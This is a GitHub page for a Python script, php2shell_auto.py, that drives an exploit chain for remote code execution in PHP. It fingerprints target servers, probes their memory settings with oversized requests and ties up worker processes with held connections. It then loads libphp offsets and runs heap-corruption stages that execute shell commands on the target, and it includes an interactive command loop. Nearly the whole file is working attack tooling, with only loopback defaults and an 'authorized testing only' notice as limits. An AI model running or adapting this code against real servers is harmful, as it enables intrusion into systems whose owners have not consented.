php2shell/tools/php2shell_auto.py at main · devploit/php2shell · GitHub

Repository navigation

History

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

670

671

672

673

674

675

676

677

678

679

680

681

682

683

684

685

686

687

688

689

690

691

692

693

694

695

696

697

698

699

700

701

702

703

704

705

706

707

708

709

710

711

712

713

714

715

716

717

718

719

720

721

722

723

724

725

726

727

728

729

730

731

732

733

734

735

736

737

738

739

740

741

742

743

744

745

746

747

748

749

750

751

752

753

754

755

756

757

758

759

760

761

762

763

764

765

766

767

768

769

770

771

772

773

774

775

776

777

778

779

780

781

782

783

784

785

786

787

788

789

790

791

792

793

794

795

796

797

798

799

800

801

802

803

804

805

806

807

808

809

810

811

812

813

814

815

816

817

818

819

820

821

822

823

824

825

826

827

828

829

830

831

832

833

834

835

836

837

838

839

840

841

842

843

844

845

846

847

848

849

850

851

852

853

854

855

856

857

858

859

860

861

862

863

864

865

866

867

868

869

870

871

872

873

874

875

876

877

878

879

880

881

882

883

884

885

886

887

888

889

890

891

892

893

894

895

896

897

898

899

900

901

902

903

904

905

906

907

908

909

910

911

912

913

914

915

916

917

918

919

920

921

922

923

924

925

926

927

928

929

930

931

932

933

934

935

936

937

938

939

940

941

942

943

944

945

946

947

948

949

950

951

952

953

954

955

956

957

958

959

960

961

962

963

964

965

966

967

968

969

970

971

972

973

974

975

976

977

978

979

980

981

982

983

984

985

986

987

988

989

990

991

992

993

994

995

996

997

998

999

1000

#!/usr/bin/env python3

"""

php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain.

Flow

----

1. Fingerprint the target (X-Powered-By, Server, PHP version in the body).

2. Reject versions at or above the fixed release.

3. Route by SAPI: nginx (PHP-FPM) targets go to the FPM chain

(tools/php2shell_fpm.py, local lab / oracle mode); Apache targets

continue with the upstream progress-cache chain.

4. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...).

5. Load the verified build profile and take the libphp offsets and heap

parameters from it.

6. Run the chain, sweeping typical memory limits unless one is supplied.

7. Print a Wiz-style staged log and a result box.

Proof handling is automatic:

- local target: read the proof file written to the mounted /out;

- remote target with a relative output path (`id>p1`): fetch /p1;

- explicit --fetch / --no-fetch overrides the default.

Authorized testing only.

"""

from __future__ import annotations

import argparse

import contextlib

import glob

import ipaddress

import json

import os

import re

import socket

import ssl

import subprocess

import sys

import urllib.parse

from php2shell_paths import default_repo_dir

from php2shell_ui import UI

from php2shell_upstream import patch_cookie_decode, patch_params, patch_tls

from php2shell_vessel import pads_to_spec

FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}

HERE = os.path.dirname(os.path.abspath(__file__))

ROOT = os.path.dirname(HERE)

DEFAULT_PROFILES = os.path.join(ROOT, "profiles")

# ---------------------------------------------------------------------------

# fingerprint and profile lookup

# ---------------------------------------------------------------------------

def http_head(url: str, timeout: float = 8.0):

u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)

host = u.hostname or ""

port = u.port or (443 if u.scheme == "https" else 80)

path = u.path or "/"

import ssl

s = socket.create_connection((host, port), timeout=timeout)

if u.scheme == "https":

s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)

req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: php2shell-auto/2.0\r\n"

f"Connection: close\r\n\r\n").encode()

s.sendall(req)

data = b""

try:

while len(data) < 65536:

chunk = s.recv(65536)

if not chunk:

break

data += chunk

except OSError:

pass

s.close()

head, _, body = data.partition(b"\r\n\r\n")

headers = {}

for line in head.split(b"\r\n")[1:]:

if b":" in line:

k, _, v = line.partition(b":")

headers.setdefault(k.decode("latin-1").strip().lower(), v.decode("latin-1").strip())

return headers, body

def fingerprint(url: str) -> tuple[str, str, str]:

headers, body = http_head(url)

server = headers.get("server", "?")

powered = headers.get("x-powered-by", "")

m = re.search(r"PHP/(\d+\.\d+\.\d+)", powered)

if m:

version = m.group(1)

else:

m = re.search(rb"PHP/(\d+\.\d+\.\d+)", body)

version = m.group(1).decode() if m else ""

return version, server, powered

def detect_distro(server: str) -> str | None:

text = (server or "").lower()

for key in ("fedora", "debian", "ubuntu", "alpine", "centos",

"red hat", "rhel", "amazon linux", "suse", "arch linux"):

if key in text:

return key

return None

def normalize_distro(value: str) -> str | None:

text = (value or "").lower()

if any(x in text for x in ("debian", "bookworm", "bullseye", "buster", "trixie")):

return "debian"

for key in ("ubuntu", "fedora", "alpine", "centos", "rhel", "red hat",

"amazon linux", "suse", "arch linux"):

if key in text:

return key

return None

def classify(version: str):

m = re.fullmatch(r"(\d+)\.(\d+)\.(\d+)", version or "")

if not m:

return None

major, minor, patch = map(int, m.groups())

branch = f"{major}.{minor}"

fixed = FIXED.get(branch)

return branch, fixed, (patch >= fixed if fixed else None)

def detect_sapi(server: str) -> str:

"""Best-effort SAPI guess from the Server header: nginx in front of

PHP-FPM is the common non-Apache shape."""

text = (server or "").lower()

if "apache" in text:

return "apache"

if "nginx" in text:

return "fpm"

return "unknown"

def proof_path_from_command(command: str, default: str = "out/p1") -> str:

if ">" in command:

tail = command.rsplit(">", 1)[1].strip()

if tail:

return tail.lstrip("/")

return default

def run_fpm_chain(ui, args, version: str) -> int:

"""Route an nginx+PHP-FPM target to tools/php2shell_fpm.py.

The FPM chain (stale BG(unserialize) after a post-RINIT OOM) still needs

the lab builder/session endpoints and, for `endgame`, the local /proc

oracle. `no-oracle` can leak the chunk/PIE bases over HTTP, but the

shipped dispatcher remains loopback-only."""

import php2shell_fpm as fpm

host = urllib.parse.urlsplit(

args.target if "://" in args.target else "http://" + args.target

).hostname or ""

if not is_loopback(host):

ui.crit("the FPM chain needs local /proc oracle access (lab mode)")

ui.info("remote FPM still requires the builder/session endpoints (lab-only)")

ui.result(False, "FPM REMOTE UNSUPPORTED", f"PHP {version} behind a non-loopback front")

return 3

base = args.target if "://" in args.target else "http://" + args.target

builder = args.builder or base

# the auto defaults (id>/out/p1) target the Apache chain's mounted /out;

# the FPM chain runs with the pool chdir as cwd and writes relative paths

command = args.command

if command in ("id>/out/p1", "id>p1"):

command = "id>out/p1"

proof_file = args.proof_file or proof_path_from_command(command)

ui.stage("FPM CHAIN", f"PHP {version} via {base}")

ui.info(f"builder: {builder}")

ui.info(f"command: {command} (worker cwd = pool chdir)")

ui.info("calibration oracle: /proc/<worker>/mem (local lab)")

if args.dry_run:

cmd = [sys.executable, os.path.join(HERE, "php2shell_fpm.py"),

"--base", base, "--builder", builder, "--version", version,

"--command", command, "--proof-file", proof_file]

if args.allow_remote:

cmd.append("--allow-remote")

cmd.append("endgame")

ui.command(cmd)

return 0

ns = argparse.Namespace(

base=base,

builder=builder,

version=version,

command=command,

proof_file=proof_file,

size=4 << 20,

)

rc = fpm.cmd_endgame(ns)

ui.result(rc == 0, "RCE" if rc == 0 else "FAILED",

f"PHP {version} fpm chain" if rc == 0 else "no proof file")

return rc

def is_loopback(host: str) -> bool:

try:

infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM)

except socket.gaierror:

return False

if not infos:

return False

for info in infos:

try:

if not ipaddress.ip_address(info[4][0]).is_loopback:

return False

except ValueError:

return False

return True

def detect_arch(container: str) -> str | None:

"""Read the architecture of a local container."""

try:

result = subprocess.run(["docker", "exec", container, "uname", "-m"],

capture_output=True, text=True, timeout=10)

except (OSError, subprocess.SubprocessError):

return None

return {"aarch64": "aarch64", "arm64": "aarch64",

"x86_64": "amd64", "amd64": "amd64"}.get(result.stdout.strip().lower())

def container_for_port(port: int) -> str | None:

"""Find the local container publishing 127.0.0.1:<port>."""

try:

result = subprocess.run(["docker", "ps", "--format", "{{.Names}}\t{{.Ports}}"],

capture_output=True, text=True, timeout=10)

except (OSError, subprocess.SubprocessError):

return None

for line in result.stdout.splitlines():

name, _, ports = line.partition("\t")

if f":{port}->" in ports:

return name

return None

def load_profiles(directory: str):

profiles = []

for path in sorted(glob.glob(os.path.join(directory, "*.json"))):

try:

with open(path, encoding="utf-8") as fh:

data = json.load(fh)

if not isinstance(data, dict) or "php_version" not in data:

continue

data["_path"] = path

profiles.append(data)

except (OSError, ValueError) as exc:

print(f"[!] ignoring {path}: {exc}", file=sys.stderr)

return profiles

def remote_arch_required(remote: bool, arch: str | None, profile: str | None) -> bool:

"""Remote targets cannot be fingerprinted for CPU architecture."""

return bool(remote and not arch and not profile)

def select(profiles, version: str, branch: str, arch: str | None = None):

def fits(profile):

return arch is None or profile.get("arch") == arch

exact = [p for p in profiles if p.get("php_version") == version and fits(p)]

if exact:

return exact[0], "exact"

same_branch = [p for p in profiles if p.get("branch") == branch and fits(p)]

if same_branch:

return same_branch[0], "branch-only"

return None, "none"

# ---------------------------------------------------------------------------

# upstream patches and parameters

# ---------------------------------------------------------------------------

def local_out_dir(args) -> str | None:

if args.allow_remote:

return None

source = container_out(args.container)

if source:

return source

if args.proof_file:

return os.path.dirname(args.proof_file) or "."

return None

def stage_script(outdir: str, body: str) -> None:

wrapper = "{ " + body.strip() + " ; } > /out/o 2>&1\n"

path = os.path.join(outdir, "c")

with open(path, "w", encoding="utf-8") as fh:

fh.write(wrapper)

os.chmod(path, 0o755)

def interactive_loop(args, profile, outdir, ui: UI) -> int:

huge = args.huge_mb or oom_for(args.memory_limit_mb or 8, profile)

ui.warn("interactive mode: every command re-runs the full chain (~1 min each)")

args.command = "sh</out/c"

while True:

try:

line = input("php2shell> ")

except (EOFError, KeyboardInterrupt):

print()

break

if line.strip().lower() in ("exit", "quit"):

break

if not line.strip():

continue

stage_script(outdir, line)

output = os.path.join(outdir, "o")

with contextlib.suppress(OSError):

os.unlink(output)

rc = run_upstream(args, profile, output, huge, ui, stream=False)

if os.path.isfile(output):

with open(output, encoding="utf-8", errors="replace") as handle:

print(handle.read().rstrip())

else:

ui.warn(f"no output (chain exit {rc})")

return 0

def oom_for(limit: int, profile: dict) -> int:

if limit == 8 and profile.get("oom_mb"):

return int(profile["oom_mb"])

return limit + 12

# A correct leak is an mmap'd mapping: 0x7f... on amd64, 0xffff... on aarch64.

# Anything below 1 TiB is a small integer or an un-relocated offset that the

# upstream range filter accepts but that silently corrupts every later stage.

MIN_MMAP_ADDR = 0x10000000000

def implausible_leak(sink: dict) -> str | None:

"""The leaked value, when it cannot be a real heap/module mapping."""

value = sink.get("chunk_base") or sink.get("libphp_base")

if value is not None and 0 < value < MIN_MMAP_ADDR:

return hex(value)

return None

# ---------------------------------------------------------------------------

# proof/fetch resolution

# ---------------------------------------------------------------------------

def output_path(command: str) -> str | None:

m = re.search(r">\s*([^\s;&|]+)", command or "")

return m.group(1) if m else None

def resolve_fetch(args, command: str) -> str:

if args.no_fetch:

return ""

if args.fetch:

return args.fetch

if not args.allow_remote:

return ""

path = output_path(command)

if path and not path.startswith("/"):

return "/" + path

return ""

def container_out(container: str) -> str | None:

"""Host path mounted at /out in a local container, if any."""

try:

result = subprocess.run(

["docker", "inspect", "-f",

'{{range .Mounts}}{{if eq .Destination "/out"}}{{.Source}}{{end}}{{end}}',

container],

capture_output=True, text=True, timeout=10)

source = result.stdout.strip()

return source or None

except (OSError, subprocess.SubprocessError):

return None

def resolve_proof(args, fetch: str) -> str:

if args.proof_file is not None:

return args.proof_file

if args.allow_remote:

return ""

source = container_out(args.container)

if source:

return os.path.join(source, "p1")

return os.path.join(args.repo_dir, "out", "p1")

# ---------------------------------------------------------------------------

# execution

# ---------------------------------------------------------------------------

class WorkerPins:

"""Hold N-1 workers with idle keep-alive connections, leaving one free."""

def __init__(self, url: str, count: int):

u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)

host = u.hostname or ""

port = u.port or (443 if u.scheme == "https" else 80)

path = u.path or "/"

self.socks = []

for _ in range(count):

s = socket.create_connection((host, port), timeout=10)

if u.scheme == "https":

s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)

req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"

f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()

s.sendall(req)

s.settimeout(3)

with contextlib.suppress(OSError):

s.recv(65536)

self.socks.append(s)

@classmethod

def from_socks(cls, socks):

obj = cls.__new__(cls)

obj.socks = socks

return obj

@classmethod

def auto_remote(cls, url: str, max_pins: int = 32):

"""Saturate the worker pool with keep-alive connections, then free one.

Without access to the server we cannot count workers; we keep opening

connections until a request stops being answered (all workers busy) and

then release one connection for the chain.

"""

u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)

host = u.hostname or ""

port = u.port or (443 if u.scheme == "https" else 80)

path = u.path or "/"

pins = []

for _ in range(max_pins):

s = None

try:

s = socket.create_connection((host, port), timeout=3)

if u.scheme == "https":

s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)

req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"

f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()

s.sendall(req)

s.settimeout(2)

data = s.recv(65536)

except TimeoutError:

if s is not None:

with contextlib.suppress(OSError):

s.close()

break

except OSError:

if s is not None:

with contextlib.suppress(OSError):

s.close()

break

if not data:

with contextlib.suppress(OSError):

s.close()

break

head = data.split(b"\r\n\r\n", 1)[0].lower()

if b"connection: close" in head:

with contextlib.suppress(OSError):

s.close()

for p in pins:

p.close()

return None

pins.append(s)

if len(pins) <= 1:

for p in pins:

p.close()

return None

pins.pop().close()

return cls.from_socks(pins)

def close(self) -> None:

for s in self.socks:

with contextlib.suppress(OSError):

s.close()

def parse_probe_response(data: bytes) -> dict:

"""Read the target configuration out of one probe response.

Request-startup diagnostics only render with display_errors=On, which is

exactly the mode the stage-1 leak needs: the OOM fatal reveals

memory_limit, the body-size warning reveals post_max_size, and either

message doubles as proof that diagnostics are rendered at all.

"""

out = {"memory_limit": None, "post_max_size": None,

"diagnostics": False, "rejected": False}

m = re.search(rb"Allowed memory size of (\d+) bytes", data)

if m:

out["memory_limit"] = max(1, int(m.group(1)) // (1024 * 1024))

out["diagnostics"] = True

return out

m = re.search(rb"exceeds the limit of (\d+) bytes", data)

if m:

out["post_max_size"] = int(m.group(1))

out["diagnostics"] = True

return out

if b"413" in data.split(b"\r\n", 1)[0] or b"Request Entity Too Large" in data:

out["rejected"] = True

return out

for needle in (b"Fatal error:", b"Warning:", b"Deprecated:"):

if needle in data:

out["diagnostics"] = True

break

return out

def probe_config(args, ui: UI) -> dict:

"""One-shot configuration probe with the same oversized POSTs that used to

only reveal memory_limit. The responses additionally reveal post_max_size

(a value smaller than the OOM body silently blocks the whole chain) and

whether request-startup diagnostics are rendered (display_errors)."""

u = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target)

host = u.hostname or ""

port = u.port or (443 if u.scheme == "https" else 80)

path = u.path or "/"

import ssl

result = {"memory_limit": None, "post_max_size": None, "display_errors": None}

rejected = False

for mb in (16, 64, 256):

body = b"big=" + b"A" * (mb * 1024 * 1024)

ui.stage("PROBE", f"config probe: {mb} MiB body")

try:

s = socket.create_connection((host, port), timeout=30)

if u.scheme == "https":

s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)

req = (f"POST {path} HTTP/1.1\r\nHost: {host}\r\n"

f"User-Agent: php2shell-auto/2.0\r\n"

f"Content-Type: application/x-www-form-urlencoded\r\n"

f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()

s.sendall(req)

s.sendall(body)

s.settimeout(30)

data = b""

while len(data) < 65536:

chunk = s.recv(65536)

if not chunk:

break

data += chunk

s.close()

except OSError:

break

parsed = parse_probe_response(data)

if parsed["diagnostics"]:

result["display_errors"] = True

if parsed["memory_limit"]:

result["memory_limit"] = parsed["memory_limit"]

break

if parsed["post_max_size"]:

result["post_max_size"] = parsed["post_max_size"]

break

if parsed["rejected"]:

rejected = True

break

if result["memory_limit"]:

ui.ok(f"detected memory_limit={result['memory_limit']}M")

if result["post_max_size"]:

ui.ok(f"detected post_max_size={result['post_max_size'] // (1024 * 1024)}M")

if result["display_errors"]:

ui.ok("display_errors=On (request-startup diagnostics are rendered)")

elif rejected:

ui.warn("body rejected by the server (413); target config unknown")

else:

ui.warn("no request-startup diagnostics seen; display_errors may be Off "

"(stage 1 depends on it)")

return result

def _capture_leaks(text: str, sink: dict) -> None:

"""Collect the leaked bases from upstream output lines."""

for key, label in (("chunk_base", "chunk base"), ("libphp_base", "libphp base")):

m = re.search(label + r" = (0x[0-9a-fA-F]+)", text)

if m:

sink[key] = int(m.group(1), 16)

def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True,

sink: dict | None = None) -> int:

"""Run the upstream exploit; sink (optional) collects the leaked bases."""

repo = args.repo_dir

if not os.path.isfile(os.path.join(repo, "exploit.py")):

ui.crit(f"{repo}/exploit.py not found; clone 9bie/php2shell-bypass-aslr-exp")

return 4

lib = profile.get("libphp") or {}

if not lib.get("zif_system") or not lib.get("zval_ptr_dtor"):

ui.crit("profile has no libphp offsets")

return 3

stages = profile.get("stages") or {}

if stages.get("stage3_mode") == "vessel":

if not lib.get("htdata"):

ui.crit("vessel profile has no htdata offset")

return 3

return run_vessel(args, profile, proof, huge_mb, ui, stream, sink)

cmd = [sys.executable, os.path.join(repo, "exploit.py"),

"-u", args.target, "-c", args.command,

"--profile", profile.get("upstream_profile", "bookworm"),

"--proof-file", proof,

"--zif-offset", str(lib["zif_system"]),

"--dtor-offset", str(lib["zval_ptr_dtor"])]

if lib.get("htdata"):

cmd += ["--htdata-offset", str(lib["htdata"])]

if args.fetch:

cmd += ["--fetch", args.fetch]

if huge_mb:

cmd += ["--huge-mb", str(huge_mb)]

if args.retries is not None:

cmd += ["--retries", str(args.retries)]

if args.no_pre_rotate:

cmd += ["--no-pre-rotate"]

if args.no_retry_rotate:

cmd += ["--no-retry-rotate"]

if args.allow_remote:

cmd += ["--no-auto-offsets"]

else:

cmd += ["--docker-container", args.container]

if args.dry_run:

ui.command(cmd)

return 0

env = os.environ.copy()

for key, env_key in (("stage1_n", "P2S_STAGE1_N"),

("stage1_forge_len", "P2S_FORGE_LEN"),

("stage2_t", "P2S_STAGE2_T"),

("stage2_v", "P2S_STAGE2_V")):

if stages.get(key) is not None:

env[env_key] = str(stages[key])

pads = stages.get("stage3_pads")

if pads:

env["P2S_STAGE3_PADS"] = ",".join(f"{a}:{b}" for a, b in pads)

stage3_cookie = stages.get("stage3_cookie")

if stage3_cookie is not None:

env["P2S_STAGE3_COOKIE"] = "1" if stage3_cookie else "0"

for key, env_key in (("stage3_wfields", "P2S_STAGE3_WFIELDS"),

("stage3_fake_len", "P2S_STAGE3_FAKE_LEN"),

("stage3_fakes", "P2S_STAGE3_FAKES"),

("stage3_b_name_len", "P2S_STAGE3_B_NAME_LEN")):

if stages.get(key) is not None:

env[env_key] = str(stages[key])

return _run_exploit_cmd(cmd, ui, stream, sink, env)

def run_vessel(args, profile, proof, huge_mb, ui: UI, stream: bool = True,

sink: dict | None = None) -> int:

"""Run the vessel stage-3 chain (early-8.5 layouts).

Same leaks as upstream; stage 3 steers the dangling reference onto B2's

blob page instead of landing a carrier string on it

(tools/php2shell_vessel.py has the technique).

"""

lib = profile.get("libphp") or {}

stages = profile.get("stages") or {}

cmd = [sys.executable, os.path.join(HERE, "php2shell_vessel.py"),

"-u", args.target, "-c", args.command,

"--repo-dir", args.repo_dir,

"--proof-file", proof,

"--zif-offset", str(lib["zif_system"]),

"--dtor-offset", str(lib["zval_ptr_dtor"]),

"--htdata-offset", str(lib["htdata"])]

for key, arg in (("stage1_n", "--stage1-n"),

("stage1_forge_len", "--forge-len"),

("stage2_t", "--stage2-t"),

("stage2_v", "--stage2-v"),

("stage3_early", "--early"),

("stage3_blobs", "--blobs"),

("stage3_vessel_index", "--vessel-index")):

if stages.get(key) is not None:

cmd += [arg, str(stages[key])]

if stages.get("stage3_pads"):

cmd += ["--pad", pads_to_spec(stages["stage3_pads"])]

if args.fetch:

cmd += ["--fetch", args.fetch]

if huge_mb:

cmd += ["--huge-mb", str(huge_mb)]

if args.retries is not None:

cmd += ["--retries", str(args.retries)]

if args.no_pre_rotate:

cmd += ["--no-pre-rotate"]

if args.no_retry_rotate:

cmd += ["--no-retry-rotate"]

if args.allow_remote:

cmd += ["--allow-remote"]

if args.insecure:

cmd += ["--insecure"]

if args.dry_run:

ui.command(cmd)

return 0

return _run_exploit_cmd(cmd, ui, stream, sink)

def _run_exploit_cmd(cmd, ui: UI, stream: bool, sink: dict | None = None,

env: dict | None = None) -> int:

"""Stream an exploit subprocess, optionally collecting leaked bases."""

if not stream:

result = subprocess.run(cmd, capture_output=True, text=True, env=env)

if sink is not None:

_capture_leaks(result.stdout, sink)

if result.returncode != 0:

tail = (result.stdout + result.stderr).strip().splitlines()[-4:]

for line in tail:

ui.upstream(line)

return result.returncode

proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,

text=True, env=env, bufsize=1)

assert proc.stdout is not None

for line in proc.stdout:

ui.upstream(line.rstrip())

if sink is not None:

_capture_leaks(line, sink)

return proc.wait()

def main() -> int:

ap = argparse.ArgumentParser(

description="Version-aware PHP2Shell RCE dispatcher.",

formatter_class=argparse.ArgumentDefaultsHelpFormatter)

ap.add_argument("-u", "--target", required=False)

ap.add_argument("-c", "--command", default=None,

help="command to run (default: id>/out/p1 local, id>p1 remote)")

ap.add_argument("--repo-dir", default=default_repo_dir())

ap.add_argument("--container", default="php2shell-target")

ap.add_argument("--profiles", default=DEFAULT_PROFILES)

ap.add_argument("--catalog", default=os.path.join(ROOT, "catalog", "vulnerable.json"))

ap.add_argument("--proof-file", default=None,

help="local proof file; '' disables local read")

ap.add_argument("--fetch", default=None,

help="remote proof path; auto-derived from a relative output")

ap.add_argument("--no-fetch", action="store_true", help="disable the automatic fetch")

ap.add_argument("--list", action="store_true", help="list profiles and exit")

ap.add_argument("--assess", action="store_true",

help="run the exposure/leak assessment when no RCE profile exists")

ap.add_argument("--allow-remote", action="store_true")

ap.add_argument("--insecure", action="store_true",

help="disable TLS verification (lab certificates)")

ap.add_argument("--php-version", default=None,

help="assume this PHP version when the server hides it (e.g. 8.4.26)")

ap.add_argument("--force-build", action="store_true",

help="run even if the target OS does not match the profile")

ap.add_argument("--memory-limit-mb", type=int, default=None,

help="target memory_limit in MiB")

ap.add_argument("--huge-mb", type=int, default=None,

help="explicit OOM field size in MiB")

ap.add_argument("--no-probe", action="store_true",

help="do not probe memory_limit/post_max_size/display_errors")

ap.add_argument("--retries", type=int, default=None,

help="upstream attempts per stage (default 3; stage 3 uses +2)")

ap.add_argument("--no-pre-rotate", action="store_true",

help="skip the initial worker rotation")

ap.add_argument("--no-retry-rotate", action="store_true",

help="do not rotate between failed stage attempts")

ap.add_argument("--no-auto-memory", action="store_true",

help="do not sweep the typical memory limits")

ap.add_argument("--dry-run", action="store_true",

help="show the selected profile and command, do not run")

ap.add_argument("--script", default=None,

help="local script to stage in /out/c and run with sh</out/c")

ap.add_argument("--interactive", action="store_true",

help="interactive command loop (local labs; slow: one chain run per command)")

ap.add_argument("--pin-workers", default=None,

help="hold N-1 workers with keep-alive ('auto' for a local container; "

"default: auto for loopback, off for remote)")

ap.add_argument("--no-pin-workers", action="store_true",

help="disable worker pinning")

ap.add_argument("--pin-max", type=int, default=32,

help="max keep-alive connections for remote auto-pinning")

ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None,

help="CPU architecture; required for remote targets, auto-detected locally")

ap.add_argument("--profile", default=None,

help="force a profile by name/path substring (needed when a version has several builds)")

ap.add_argument("--sapi", choices=("auto", "apache", "fpm"), default="auto",

help="override the SAPI detection (fpm = nginx + PHP-FPM chain)")

ap.add_argument("--builder", default=None,

help="FPM chain builder endpoint (default: the target itself)")

ap.add_argument("--no-color", action="store_true")

args = ap.parse_args()

profiles = load_profiles(args.profiles)

catalog = {}

try:

with open(args.catalog, encoding="utf-8") as fh:

catalog = json.load(fh)

except (OSError, ValueError):

pass

if not args.target and not args.list:

ap.error("-u/--target is required")

if args.list:

for p in profiles:

print(f"{p.get('php_version'):10} rce={str(p.get('rce')):5} {p.get('name')}")

if catalog:

print("\ncatalog coverage:")

for b in catalog.get("branches", []):

fixed = b.get("fixed_in") or "no official fix"

print(f" {b['branch']:4} affected={b['affected']:16} fixed_in={fixed}")

return 0

parsed = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target)

host = parsed.hostname or ""

port = parsed.port or (443 if parsed.scheme == "https" else 80)

loopback = is_loopback(host)

if not loopback and not args.allow_remote:

ap.error("non-loopback target requires --allow-remote (written authorization)")

remote = not loopback

args.allow_remote = remote

if loopback and args.container == "php2shell-target":

detected = container_for_port(port)

if detected:

args.container = detected

args.command = args.command or ("id>p1" if remote else "id>/out/p1")

args.fetch = resolve_fetch(args, args.command)

proof = resolve_proof(args, args.fetch)

ui = UI(color=not args.no_color)

ui.banner()

ui.chain("01/01", "automatic target detection / fixed command proof")

ui.stage("DISCOVER", args.target)

if args.arch is None and not remote:

detected_arch = detect_arch(args.container)

if detected_arch:

args.arch = detected_arch

ui.info(f"detected architecture: {detected_arch}")

if remote_arch_required(remote, args.arch, args.profile):

ui.crit("remote target: CPU architecture cannot be detected")

ui.info("pass --arch aarch64|amd64 (and --php-version if needed) or --profile NAME")

ui.result(False, "ARCH REQUIRED", "remote target without --arch/--profile")

return 3

version, server, powered = fingerprint(args.target)

if args.php_version:

if version and version != args.php_version:

ui.warn(f"server reports PHP {version}; using {args.php_version} as requested")

else:

ui.info(f"using supplied PHP version {args.php_version}")

version = args.php_version

if not version:

ui.crit("cannot determine the PHP version; pass --php-version X.Y.Z or --profile NAME")

ui.result(False, "NOT CONFIRMED", "PHP version not identified")

return 3

ui.ok(f"PHP {version} · {server}")

if not powered:

ui.warn("no X-Powered-By header (expose_php=Off): the startup heap differs and "

"the profile's stage-3 pads were calibrated with expose_php=On")

cls = classify(version)

if not cls:

ui.crit("unparsable PHP version")

ui.result(False, "NOT CONFIRMED", version)

return 3

branch, fixed, patched = cls

if fixed is not None and patched:

ui.ok(f"fixed release: PHP {version} >= {branch}.{fixed}")

ui.result(False, "TARGET PATCHED", f"PHP {version} is at or above {branch}.{fixed}")

return 0

if fixed is None:

ui.warn(f"branch {branch} is outside the fix matrix (EOL/unpatched)")

sapi = args.sapi if args.sapi != "auto" else detect_sapi(server)

if sapi == "fpm":

ui.info(f"SAPI: fpm (server header {server!r}); using the FPM chain")

return run_fpm_chain(ui, args, version)

if args.profile:

matches = [p for p in profiles

if args.profile in p.get("name", "") or args.profile in p.get("_path", "")]

if len(matches) == 1:

profile, how = matches[0], "forced"

elif len(matches) > 1:

ui.crit(f"--profile {args.profile!r} matches {len(matches)} profiles; be more specific")

return 3

else:

ui.crit(f"no profile matches --profile {args.profile!r}")

return 3

else:

exact = [p for p in profiles

if p.get("php_version") == version

and (args.arch is None or p.get("arch") == args.arch)]

if len(exact) > 1:

names = ", ".join(p.get("name", "?") for p in exact)

ui.crit(f"multiple builds for PHP {version}: {names}")

ui.info("pass --arch aarch64|amd64 or --profile NAME")

return 3

profile, how = select(profiles, version, branch, args.arch)

if profile is None:

entry = next((b for b in catalog.get("branches", []) if b.get("branch") == branch), None)

if entry:

fixed_txt = entry.get("fixed_in") or "no official fix (EOL)"

ui.info(f"catalog: branch {branch}, affected {entry.get('affected')}, fixed in {fixed_txt}")

ui.crit(f"no profile for PHP {version} ({branch})")

ui.info("a profile needs libphp offsets plus stage1_n/forge/stage2_t/v/stage3_pads")

ui.info("generate one with tools/php2shell_calibrate.py on a replica")

ui.result(False, "NO PROFILE", f"PHP {version} ({branch})")

return 3

